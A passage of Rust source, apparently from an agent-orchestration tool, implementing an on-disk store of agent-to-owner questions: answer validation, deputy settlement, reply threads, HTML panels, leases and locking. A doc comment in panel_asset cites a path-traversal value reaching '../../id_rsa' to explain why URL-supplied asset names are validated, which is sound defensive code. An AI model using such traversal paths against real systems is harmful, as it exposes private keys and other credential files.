873    /// answer.
874    ///
875    /// Every rejection here is a case where accepting would put a fabrication
876    /// in front of an agent as if the owner had said it. The messages are
877    /// distinct because the caller is a web handler that shows them verbatim,
878    /// and "that is not one of the choices" and "this question is multiple
879    /// choice" are different mistakes with different fixes.
880    pub fn answer(&mut self, answer: Answer) -> Result<()> {
881        self.answer_inner(answer)
882    }
883
884    /// Optional chat buttons validate the displayed conversation and PR head.
885    pub(crate) fn answer_chat_button(
886        &mut self,
887        answer: Answer,
888        talk: &str,
889        head: &str,
890    ) -> Result<()> {
891        anyhow::ensure!(
892            self.routed_chat.as_deref() == Some(talk),
893            "wrong approval chat"
894        );
895        anyhow::ensure!(
896            self.merge_target.as_ref().is_some_and(|t| t.head == head),
897            "stale approval head"
898        );
899        self.answer_inner(answer)
900    }
901
902    fn answer_inner(&mut self, answer: Answer) -> Result<()> {
903        match self.status {
904            QuestionStatus::Answered => bail!(
905                "question {} was already answered; the run has moved on and a \
906                 second answer would be a decision nobody acted on",
907                self.short()
908            ),
909            QuestionStatus::Abandoned => bail!(
910                "question {} was abandoned and the run behind it is gone",
911                self.short()
912            ),
913            QuestionStatus::Open => {}
914        }
915        let body = match &answer {
916            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
917        };
918        if body.trim().is_empty() {
919            bail!(
920                "question {} needs an answer; an empty one tells the agent \
921                 nothing and it would guess anyway",
922                self.short()
923            );
924        }
925        match &answer {
926            Answer::Choice(c) if self.free_text() => bail!(
927                "question {} asks for free text, so `{c}` cannot be a choice \
928                 it offered",
929                self.short()
930            ),
931            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
932                "`{c}` is not one of the choices question {} offers: {}",
933                self.short(),
934                self.choices.join(", ")
935            ),
936            Answer::Text(_) if !self.free_text() => bail!(
937                "question {} is multiple choice; answer with one of: {}",
938                self.short(),
939                self.choices.join(", ")
940            ),
941            _ => {}
942        }
943        // `hold` is the safe word: it may carry the hold effect itself, but a
944        // producer that put any other effect behind it made a mistake.
945        if body.eq_ignore_ascii_case(crate::land::HOLD)
946            && self
947                .actions
948                .get(body)
949                .is_some_and(|a| *a != ChoiceAction::Hold)
950        {
951            bail!("hold cannot execute a question action");
952        }
953        self.answered_at = Some(Timestamp::now());
954        self.answer = Some(answer);
955        self.status = QuestionStatus::Answered;
956        Ok(())
957    }
958
959    /// Give up on an answer, keeping the record of what was asked.
960    ///
961    /// An answered question is left alone, which matters at exactly one moment:
962    /// the owner answering in the same second the wait's deadline passes. The
963    /// answer is the thing worth keeping there, and it has already been written
964    /// by another process.
965    ///
966    /// The reason is appended to [`Question::detail`] because the on-disk shape
967    /// is a contract with the front end and has no field of its own for it -
968    /// and "asked at 3am, nobody home for a day" belongs with the question, not
969    /// only in a log the operator will never open.
970    pub fn abandon(&mut self, why: impl Into<String>) {
971        if !self.status.open() {
972            return;
973        }
974        self.status = QuestionStatus::Abandoned;
975        let why = why.into();
976        let why = why.trim();
977        if why.is_empty() {
978            return;
979        }
980        if !self.detail.is_empty() {
981            self.detail.push('\n');
982        }
983        self.detail.push_str("\n_Abandoned: ");
984        self.detail.push_str(why);
985        self.detail.push_str("._\n");
986    }
987
988    /// The answer as the asking agent should read it.
989    ///
990    /// One string for both kinds of question: the agent's prompt says "the
991    /// owner answered:", and a chosen option and a typed sentence are the same
992    /// thing at that point. `None` while the question is open or abandoned, so
993    /// a caller cannot mistake silence for a decision.
994    pub fn resolution(&self) -> Option<String> {
995        match (self.status, &self.answer) {
996            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
997                Some(a.clone())
998            }
999            _ => None,
1000        }
1001    }
1002
1003    /// A deputy recording the owner's decision, read from the owner's words.
1004    ///
1005    /// The owner decided in free text ("setup done", "merge it") on a
1006    /// question that offers choices, so no choice was ever tapped. This
1007    /// records `label` as the answer - and nothing else: applying it is the
1008    /// daemon's or component's existing path for an answered question. The
1009    /// deputy's reading of the owner's words is the authority; no quote is
1010    /// needed. Refused only when the question is routed to a task chat (that
1011    /// chat settles it), the caller is not this question's deputy seat,
1012    /// `label` is not an offered choice, or the question is no longer open.
1013    /// `note` is the deputy's optional explanation, kept with the record.
1014    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1015        if self.routed_task.is_some() {
1016            bail!("task decisions are handled by the task chat, not a deputy");
1017        }
1018        let Some(deputy) = &self.deputy else {
1019            bail!("question {} has no deputy", self.short());
1020        };
1021        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1022        if own != Some(seat) {
1023            bail!("only the deputy of question {} may settle it", self.short());
1024        }
1025        if !self.choices.iter().any(|c| c == label) {
1026            bail!(
1027                "`{label}` is not one of the choices offered on question {}",
1028                self.short()
1029            );
1030        }
1031        self.answer(Answer::Choice(label.to_owned()))?;
1032        self.thread.push(Turn {
1033            who: Who::Agent,
1034            body: format!("Settled as `{label}` on the owner's words."),
1035            at: Timestamp::now(),
1036            note: note
1037                .map(str::trim)
1038                .filter(|n| !n.is_empty())
1039                .map(str::to_owned),
1040        });
1041        self.delivered_turns = self.thread.len();
1042        Ok(())
1043    }
1044
1045    /// The owner speaking back without answering: a request for context, a
1046    /// clarifying question, anything short of a decision.
1047    ///
1048    /// Rejects the same two states [`Question::answer`] does, and for the same
1049    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1050    /// no run left listening for a reply - and an empty turn, which would tell
1051    /// the agent nothing it didn't already know. Never changes `status`: the
1052    /// question stays [`QuestionStatus::Open`], because the owner did not
1053    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1054    /// counting this as the one question it always was.
1055    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1056        match self.status {
1057            QuestionStatus::Answered => bail!(
1058                "question {} was already answered; there is nothing left to \
1059                 discuss",
1060                self.short()
1061            ),
1062            QuestionStatus::Abandoned => bail!(
1063                "question {} was abandoned and the run behind it is gone",
1064                self.short()
1065            ),
1066            QuestionStatus::Open => {}
1067        }
1068        let body = body.into();
1069        if body.trim().is_empty() {
1070            bail!("a message to question {} cannot be empty", self.short());
1071        }
1072        self.thread.push(Turn {
1073            who: Who::Operator,
1074            body,
1075            at: Timestamp::now(),
1076            note: None,
1077        });
1078        Ok(())
1079    }
1080
1081    /// The agent replying to the owner's last word, in place of an answer:
1082    /// same question, same id, another round.
1083    ///
1084    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1085    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1086    /// wholesale: the whole point of asking back is that what should be
1087    /// offered next may have changed, and a caller that wanted the old set
1088    /// unchanged can simply pass it again. An empty `Vec` means free text,
1089    /// exactly as it does when the question is first asked.
1090    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1091        match self.status {
1092            QuestionStatus::Answered => bail!(
1093                "question {} was already answered; replying now would not \
1094                 reach anyone",
1095                self.short()
1096            ),
1097            QuestionStatus::Abandoned => bail!(
1098                "question {} was abandoned and the run behind it is gone",
1099                self.short()
1100            ),
1101            QuestionStatus::Open => {}
1102        }
1103        let body = body.into();
1104        if body.trim().is_empty() {
1105            bail!("a reply to question {} cannot be empty", self.short());
1106        }
1107        // An action whose label is no longer offered could never fire.
1108        self.actions.retain(|label, _| choices.contains(label));
1109        self.choices = choices;
1110        let unread = self.unread_from_owner().is_some();
1111        self.thread.push(Turn {
1112            who: Who::Agent,
1113            body,
1114            at: Timestamp::now(),
1115            note: None,
1116        });
1117        // The agent has read everything up to its own reply - but only if
1118        // nothing the owner said in the meantime is still unread. A second say
1119        // that landed after the agent's last look must stay undelivered.
1120        if !unread {
1121            self.delivered_turns = self.thread.len();
1122        }
1123        Ok(())
1124    }
1125
1126    /// What the owner said that the agent has not read yet, oldest first,
1127    /// joined. `None` unless the question is open and such a turn exists.
1128    ///
1129    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1130    /// second owner turn it never saw, which leaves the last turn the agent's
1131    /// and the ball apparently back with the owner while a say is still unread.
1132    pub fn unread_from_owner(&self) -> Option<String> {
1133        if !self.status.open() {
1134            return None;
1135        }
1136        let said = self.undelivered_owner_turns();
1137        (!said.is_empty()).then(|| said.join("\n\n"))
1138    }
1139
1140    /// Owner turns the agent has not been handed yet, oldest first, whatever
1141    /// the question's status. [`Question::unread_from_owner`] adds the "still
1142    /// open" guard the waiter and the deputy rely on; an answer being handed
1143    /// over needs the says that came before it even though the question is
1144    /// closed by then.
1145    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1146        let from = self.delivered_turns.min(self.thread.len());
1147        self.thread[from..]
1148            .iter()
1149            .filter(|t| t.who == Who::Operator)
1150            .map(|t| t.body.as_str())
1151            .collect()
1152    }
1153
1154    /// When the conversation last moved: the newest thread turn, or the asking
1155    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1156    /// every reply, so a deadline runs from here and not from `asked_at`.
1157    pub fn last_activity(&self) -> i64 {
1158        self.thread
1159            .iter()
1160            .map(|t| t.at.as_second())
1161            .max()
1162            .unwrap_or(0)
1163            .max(self.asked_at.as_second())
1164    }
1165
1166    /// Is the ball in the agent's court?
1167    ///
1168    /// True from the moment the owner speaks back until the agent's next
1169    /// [`Question::reply`], and never on a fresh or an already-settled
1170    /// question. [`QuestionStatus`] does not move for either side of this -
1171    /// see [`Question::say`] - so this is the one place that state is
1172    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1173    /// separately rather than asking the phone to infer it from the thread.
1174    pub fn waiting_on_agent(&self) -> bool {
1175        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1176    }
1177
1178    /// Should a notification go out right now?
1179    ///
1180    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1181    /// there is no earlier operator turn to have already caught anyone's
1182    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1183    /// since the owner's own last word - see that constant for why the window
1184    /// exists at all and why its length is not configurable.
1185    fn should_notify(&self, now: Timestamp) -> bool {
1186        let Some(last) = self
1187            .thread
1188            .iter()
1189            .rev()
1190            .find(|t| t.who == Who::Operator)
1191            .map(|t| t.at)
1192        else {
1193            return true;
1194        };
1195        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1196    }
1197}
1198
1199/// A question store on disk.
1200#[derive(Debug, Clone)]
1201pub struct Questions {
1202    root: PathBuf,
1203}
1204
1205impl Questions {
1206    /// The operator's questions, `<home>/questions`.
1207    pub fn open() -> Self {
1208        Self::at(crate::run::home().join("questions"))
1209    }
1210
1211    /// A store at an explicit root. Tests use this, which is why none of them
1212    /// need the operator's real home.
1213    pub fn at(root: PathBuf) -> Self {
1214        Self { root }
1215    }
1216
1217    /// Directory holding the question files.
1218    pub fn root(&self) -> &Path {
1219        &self.root
1220    }
1221
1222    /// Path for one question id.
1223    pub fn path_of(&self, id: &str) -> PathBuf {
1224        self.root.join(format!("{id}.json"))
1225    }
1226
1227    /// Directory holding one question's panel, `<root>/<id>.panel`.
1228    pub fn panel_dir(&self, id: &str) -> PathBuf {
1229        self.root.join(format!("{id}{PANEL_DIR}"))
1230    }
1231
1232    /// Store a panel: the html, plus `assets` copied in under their base
1233    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1234    /// question, or the record on disk will deny having a panel that exists.
1235    ///
1236    /// The assets are **copied, not referenced**. An agent authors its panel
1237    /// inside a candidate worktree and points at files there, and `magi fold`
1238    /// deletes those worktrees; a question is the permanent record of a
1239    /// decision the owner took, so a panel that referenced its own images
1240    /// would render as broken boxes exactly when someone went back to ask why
1241    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1242    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1243    /// so the bytes counted and the bytes written are the same target file's -
1244    /// which is the intent: storing a link would leave the panel pointing at
1245    /// the worktree again, one indirection further away.
1246    ///
1247    /// Everything that can be rejected is rejected before the first byte is
1248    /// written, and the panel is then assembled in a scratch directory and
1249    /// swapped in. So a refusal leaves the previous panel intact, and a
1250    /// success replaces it *wholesale* rather than merging: a re-asked
1251    /// question showing one attempt's diff next to another attempt's table
1252    /// would be a panel neither agent ever wrote.
1253    ///
1254    /// [`put`]: Questions::put
1255    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1256        if !valid_asset_name(&q.id) {
1257            bail!(
1258                "question id `{}` is not a name magi will build a panel path from",
1259                q.id
1260            );
1261        }
1262        if html.trim().is_empty() {
1263            bail!(
1264                "question {} was handed an empty panel; an empty frame reads to \
1265                 the owner as \"the agent had nothing to say\", which is a lie",
1266                q.short()
1267            );
1268        }
1269
1270        // Names, then sizes, then writing - in that order, so nothing below
1271        // can leave a partial panel on disk.
1272        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1273        for src in assets {
1274            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1275            if !valid_asset_name(name) {
1276                bail!(
1277                    "panel asset `{}` cannot be stored: a panel file name must \
1278                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1279                    src.display()
1280                );
1281            }
1282            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1283                bail!(
1284                    "two panel assets are both named `{name}` - {} and {} - and \
1285                     the panel can only show one of them; rename one at the source",
1286                    first.display(),
1287                    src.display()
1288                );
1289            }
1290            named.push((name.to_owned(), src.as_path()));
1291        }
1292
1293        let mut total = html.len() as u64;
1294        for (_, src) in &named {
1295            let meta = std::fs::metadata(src)
1296                .with_context(|| format!("stat panel asset {}", src.display()))?;
1297            if !meta.is_file() {
1298                bail!(
1299                    "panel asset `{}` is not a file; a panel is html plus files \
1300                     copied beside it",
1301                    src.display()
1302                );
1303            }
1304            total = total.saturating_add(meta.len());
1305        }
1306        if total > PANEL_MAX_BYTES {
1307            bail!(
1308                "panel for question {} is {total} bytes, over magi's cap of \
1309                 {PANEL_MAX_BYTES} bytes; nothing was written",
1310                q.short()
1311            );
1312        }
1313
1314        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1315        let dir = self.panel_dir(&q.id);
1316        std::fs::create_dir_all(&self.root)
1317            .with_context(|| format!("create {}", self.root.display()))?;
1318        clear_dir(&tmp)?;
1319        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1320        if let Err(e) = fill_panel(&tmp, html, &named) {
1321            // A copy that dies halfway must not become the panel, and must not
1322            // leave scratch behind for the next call to inherit.
1323            let _ = std::fs::remove_dir_all(&tmp);
1324            return Err(e);
1325        }
1326        clear_dir(&dir)?;
1327        std::fs::rename(&tmp, &dir)
1328            .with_context(|| format!("move panel into {}", dir.display()))?;
1329
1330        q.panel = true;
1331        q.assets = named.into_iter().map(|(n, _)| n).collect();
1332        q.assets.sort_unstable();
1333        Ok(())
1334    }
1335
1336    /// The panel's html, or `None` when the question has no panel.
1337    ///
1338    /// `None` rather than an error for a missing panel because the caller is a
1339    /// web handler whose answer is 404 either way, and an unreadable panel is
1340    /// not a reason to fail the question it belongs to.
1341    pub fn panel_html(&self, id: &str) -> Option<String> {
1342        if !valid_asset_name(id) {
1343            return None;
1344        }
1345        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1346    }
1347
1348    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1349    /// not a name a panel file can have".
1350    ///
1351    /// Rejects a name failing [`valid_asset_name`] **before touching the
1352    /// filesystem**, which is the whole point of the second check: the name
1353    /// arrives from a URL, the directory is on disk where any process could
1354    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1355    /// operating system would resolve perfectly happily. The two callers'
1356    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1357    /// `Result<Option<_>>` rather than one flattened `Option`.
1358    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1359        if !valid_asset_name(name) {
1360            bail!(
1361                "`{name}` is not a panel file name; it must match \
1362                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1363            );
1364        }
1365        if !valid_asset_name(id) {
1366            return Ok(None);
1367        }
1368        let dir = self.panel_dir(id);
1369        if !dir.is_dir() {
1370            return Ok(None);
1371        }
1372        let path = dir.join(name);
1373        match std::fs::read(&path) {
1374            Ok(bytes) => Ok(Some(bytes)),
1375            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1376            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1377        }
1378    }
1379
1380    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1381    ///
1382    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1383    /// not have to know whether a panel was ever written. The question record
1384    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1385    /// in the same order as everywhere else here.
1386    ///
1387    /// [`put_panel`]: Questions::put_panel
1388    pub fn drop_panel(&self, id: &str) -> Result<()> {
1389        if !valid_asset_name(id) {
1390            bail!("question id `{id}` is not a name magi will build a panel path from");
1391        }
1392        clear_dir(&self.panel_dir(id))?;
1393        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1394    }
1395
1396    /// Path of the lease sidecar for one question id.
1397    pub fn lease_path(&self, id: &str) -> PathBuf {
1398        self.root.join(format!("{id}.lease"))
1399    }
1400
1401    /// The lease on a question, if a readable one exists.
1402    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1403        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1404        serde_json::from_str(&body).ok()
1405    }
1406
1407    /// Say, as `kind`, that something is alive and waiting on this question.
1408    ///
1409    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1410    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1411    /// the holder is gone a little early, and that is what the delivery guard
1412    /// (the seat still being busy) is there for.
1413    pub fn beat(&self, id: &str, kind: WaiterKind) {
1414        let lease = Lease {
1415            kind,
1416            pid: std::process::id(),
1417            beat_at: Timestamp::now(),
1418        };
1419        let path = self.lease_path(id);
1420        let tmp = path.with_extension("lease.tmp");
1421        let written = std::fs::create_dir_all(&self.root)
1422            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1423            .and_then(|()| std::fs::rename(&tmp, &path));
1424        if let Err(e) = written {
1425            tracing::debug!("could not beat the lease on question {id}: {e}");
1426        }
1427    }
1428
1429    /// Remove the lease sidecar. Absent is fine.
1430    pub fn drop_lease(&self, id: &str) {
1431        let _ = std::fs::remove_file(self.lease_path(id));
1432    }
1433
1434    /// Read-modify-write one question under a short exclusive lock, so the
1435    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1436    /// each other with a copy that predates the others.
1437    ///
1438    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1439    /// a torn file and does nothing for two writers that both read the same
1440    /// version first. Everything that changes a question that can still be
1441    /// answered goes through here: `f` sees the current record, not one loaded
1442    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1443    /// mid-update and is broken.
1444    pub fn update<T>(
1445        &self,
1446        id: &str,
1447        f: impl FnOnce(&mut Question) -> Result<T>,
1448    ) -> Result<(Question, T)> {
1449        std::fs::create_dir_all(&self.root)
1450            .with_context(|| format!("create {}", self.root.display()))?;
1451        let lock = self.root.join(format!("{id}.lock"));
1452        let started = std::time::Instant::now();
1453        let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1454        loop {
1455            match retry.create(&lock) {
1456                Ok(_) => break,
1457                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1458                    let stale = std::fs::metadata(&lock)
1459                        .and_then(|m| m.modified())
1460                        .ok()
1461                        .and_then(|t| t.elapsed().ok())
1462                        .is_some_and(|age| age > LOCK_STALE);
1463                    if stale {
1464                        let _ = std::fs::remove_file(&lock);
1465                    } else if started.elapsed() > LOCK_STALE {
1466                        bail!("could not lock question {id}");
1467                    } else {
1468                        std::thread::sleep(Duration::from_millis(15));
1469                    }
1470                }
1471                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1472            }
1473        }
1474        struct Unlock(PathBuf);
1475        impl Drop for Unlock {
1476            fn drop(&mut self) {
1477                let _ = std::fs::remove_file(&self.0);
1478            }
1479        }
1480        let _guard = Unlock(lock);
1481        let mut q = read_path(&self.path_of(id))?;
1482        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1483        let out = f(&mut q)?;
1484        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1485            let home = self.root.parent().context("question store has no home")?;
1486            crate::merge_decision::dismiss(home, &q)?;
1487        }
1488        self.put(&mut q)?;
1489        Ok((q, out))
1490    }
1491
1492    /// File a component-owned question only when every choice has an effect.
1493    /// Legacy records remain readable; this is deliberately a creation check.
1494    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1495        anyhow::ensure!(
1496            q.actions.keys().all(|c| q.choices.contains(c)),
1497            "question action names an unoffered choice"
1498        );
1499        for label in &q.choices {
1500            anyhow::ensure!(
1501                crate::choice_effect::describe(q, label).is_some(),
1502                "question node {} offers an unsupported choice: {label}",
1503                q.node
1504            );
1505        }
1506        self.put(q)
1507    }
1508
1509    /// Write a question, atomically, so a process killed mid-write leaves the
1510    /// previous state readable rather than a truncated file that would strand
1511    /// the run waiting on it.
1512    pub fn put(&self, q: &mut Question) -> Result<()> {
1513        if q.status.open()
1514            && q.routed_task.is_none()
1515            && let Some(home) = self.root.parent()
1516        {
1517            let tasks = crate::queue::Queue::at(home.join("queue")).list();
1518            q.routed_task = crate::task_chat::task_of(q, &tasks).filter(|id| {
1519                crate::task_chat::chat_routable(q) && crate::task_chat::enabled_for(&tasks, id)
1520            });
1521        }
1522        std::fs::create_dir_all(&self.root)
1523            .with_context(|| format!("create {}", self.root.display()))?;
1524        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1525        let path = self.path_of(&q.id);
1526        let tmp = path.with_extension("json.tmp");
1527        let is_new = !path.exists();
1528        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1529        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1530        // A first write of an open question pages the operator, so a separate
1531        // notification about the same task or run is now a second page.
1532        if is_new
1533            && q.status.open()
1534            && q.node != crate::bump::NOTICE_NODE
1535            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1536        {
1537            crate::notices::quiet_for(home, q);
1538        }
1539        Ok(())
1540    }
1541
1542    /// Load a question by id or unambiguous id prefix.
1543    pub fn get(&self, id: &str) -> Result<Question> {
1544        let resolved = self.resolve_id(id)?;
1545        let q = read_path(&self.path_of(&resolved))?;
1546        Ok(self.with_repair_choice(q))
1547    }
1548
1549    fn with_repair_choice(&self, mut q: Question) -> Question {
1550        // Older local release approvals already persisted their displayed head
1551        // in the watch record. Recover that binding, never today's forge head.
1552        if q.status.open()
1553            && q.merge_target.is_none()
1554            && let Some(home) = self.root.parent()
1555            && let Some(target) = crate::release_watch::approval_target(home, &q)
1556            && let Ok((current, ())) = self.update(&q.id, |current| {
1557                if current.status.open() && current.merge_target.is_none() {
1558                    current.merge_target = Some(target.clone());
1559                }
1560                Ok(())
1561            })
1562        {
1563            q = current;
1564        }
1565        // A previous routing version treated targetless release approvals as
1566        // ordinary recovery decisions. If no saved head can be recovered,
1567        // restore their compatibility card instead of leaving an approval
1568        // that neither the chat button nor task control can answer.
1569        if q.status.open()
1570            && q.routed_task.is_some()
1571            && !crate::task_chat::chat_routable(&q)
1572            && let Ok((current, ())) =
1573                self.update(&q.id, |current| {
1574                    if current.status.open() && !crate::task_chat::chat_routable(current) {
1575                        if current.consult.as_ref().is_some_and(|c| {
1576                            current.routed_chat.as_deref() == Some(c.talk.as_str())
1577                        }) {
1578                            current.consult = None;
1579                        }
1580                        current.routed_task = None;
1581                        current.routed_chat = None;
1582                    }
1583                    Ok(())
1584                })
1585        {
1586            q = current;
1587        }
1588        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1589            && q.node == crate::land::APPROVAL_NODE
1590            && let Some(home) = self.root.parent()
1591            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1592        {
1593            let mut upgraded = q.clone();
1594            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1595                match self.update(&q.id, |current| {
1596                    crate::land::upgrade_repair_choice(current, &state);
1597                    Ok(())
1598                }) {
1599                    Ok((current, ())) => return current,
1600                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1601                }
1602            }
1603        }
1604        q
1605    }
1606
1607    /// Every question on disk: open first, then newest first.
1608    ///
1609    /// Open first because that ordering is the product - the list exists to
1610    /// show the operator what has stopped, and an answered question is history
1611    /// underneath it. Unreadable files are skipped rather than fatal: one
1612    /// corrupt question must not take the web UI down, and must certainly not
1613    /// hide the open question the operator was looking for.
1614    pub fn list(&self) -> Vec<Question> {
1615        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1616            .into_iter()
1617            .flatten()
1618            .flatten()
1619            .map(|e| e.path())
1620            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1621            .filter_map(|p| read_path(&p).ok())
1622            .map(|q| self.with_repair_choice(q))
1623            .collect();
1624        all.sort_unstable_by(|a, b| {
1625            let rank = |q: &Question| u8::from(!q.status.open());
1626            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1627        });
1628        all
1629    }
1630
1631    /// Strict read-only snapshot for control transactions. Unlike the UI
1632    /// list, this neither upgrades question choices nor skips unreadable
1633    /// records that might contain an unresolved owner decision.
1634    pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1635        let entries = match std::fs::read_dir(&self.root) {
1636            Ok(entries) => entries,
1637            Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1638            Err(error) => return Err(error).context("inspect pending questions"),
1639        };
1640        let mut questions = Vec::new();
1641        for entry in entries {
1642            let path = entry?.path();
1643            if path.extension().is_some_and(|ext| ext == "json") {
1644                questions.push(read_path(&path)?);
1645            }
1646        }
1647        Ok(questions)
1648    }
1649
1650    /// Open questions belonging to one run, newest first.
1651    ///
1652    /// Used to decide whether a parked run can be resumed: while this is
1653    /// non-empty, nothing about the run has changed and no agent should be
1654    /// spawned for it.
1655    pub fn open_for(&self, run: &str) -> Vec<Question> {
1656        self.list()
1657            .into_iter()
1658            .filter(|q| q.status.open() && q.run == run)
1659            .collect()
1660    }
1661
1662    /// Abandon every open question belonging to a run, and report how many.
1663    ///
1664    /// Called when a run's record is deleted. The agent that asked died with
1665    /// the run, so there is nobody left to hand an answer to, and a question
1666    /// left open would keep asking the operator for a decision that can no
1667    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1668    /// イルが見つかりません" with two buttons, for a run whose directory had
1669    /// been gone for two hours.
1670    ///
1671    /// Abandoned rather than deleted, because [`Question::abandon`] already
1672    /// means "this can no longer be answered" and the record of having asked
1673    /// is worth keeping. Answered questions are left exactly as they are.
1674    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1675        let mut abandoned = 0;
1676        for mut q in self.open_for(run) {
1677            q.abandon(why);
1678            self.put(&mut q)?;
1679            abandoned += 1;
1680        }
1681        Ok(abandoned)
1682    }
1683
1684    /// Abandon a run's open questions once `status` says the run is not
1685    /// coming back, worded with what it actually became.
1686    ///
1687    /// The run-deleted case above and this one are the same fact - nobody is
1688    /// left to read an answer - reached by two different doors. This is the
1689    /// one for a run that finished on its own: merged, reached `Ready` with
1690    /// nothing left to do, failed outright with no established point to
1691    /// resume from, or every candidate agreed, with evidence, that nothing
1692    /// belonged in the worktree. Those are exactly the statuses
1693    /// [`RunStatus::resumable`]
1694    /// excludes, and that is the line this draws too - deliberately not
1695    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1696    /// over. Both of those can still be picked back up with the candidates,
1697    /// the review round and the seat sessions already on disk, so a question
1698    /// asked mid-round may yet get a real answer from a real resume, and
1699    /// folding it here would be exactly the mistake this function exists to
1700    /// avoid on the other side - answering back into a run that no longer
1701    /// exists to read it.
1702    ///
1703    /// A no-op, not an error, when `status` is still resumable or when there
1704    /// was nothing open to begin with - callers reach this from more than one
1705    /// place a run can settle, and a second call finding nothing left to
1706    /// abandon is the expected case, not a bug.
1707    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1708        if status.resumable() {
1709            return Ok(0);
1710        }
1711        let why = format!(
1712            "run {run} {}, so nothing is waiting for this answer",
1713            status.as_str()
1714        );
1715        // A post-merge notice is the exception: it is filed *because* the run
1716        // merged, and no agent waits on it - it is a to-do for the owner, not
1717        // a question a dead seat asked. Abandoning it here would erase the
1718        // only alert the moment the run settles.
1719        let mut abandoned = 0;
1720        for mut q in self.open_for(run) {
1721            if q.node == crate::bump::NOTICE_NODE {
1722                continue;
1723            }
1724            // A routed task decision not yet delivered is a pending message
1725            // for the chat, not a question the dead seat waits on; the
1726            // sweep retires it once it is queued.
1727            if q.routed_task.is_some() && q.routed_chat.is_none() {
1728                continue;
1729            }
1730            q.abandon(&why);
1731            self.put(&mut q)?;
1732            abandoned += 1;
1733        }
1734        Ok(abandoned)
1735    }
1736
1737    /// Expand an id prefix to exactly one question id. The short id the phone
1738    /// and the reports show is a suffix, so that is accepted too.
1739    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1740        use crate::queue::{Reference, record_ids, resolve_reference};
1741        let ids = record_ids(&self.root, "json")?;
1742        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1743            Reference::Found(id) => Ok(id),
1744            Reference::Missing => bail!("no question matches `{prefix}`"),
1745            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1746        }
1747    }
1748
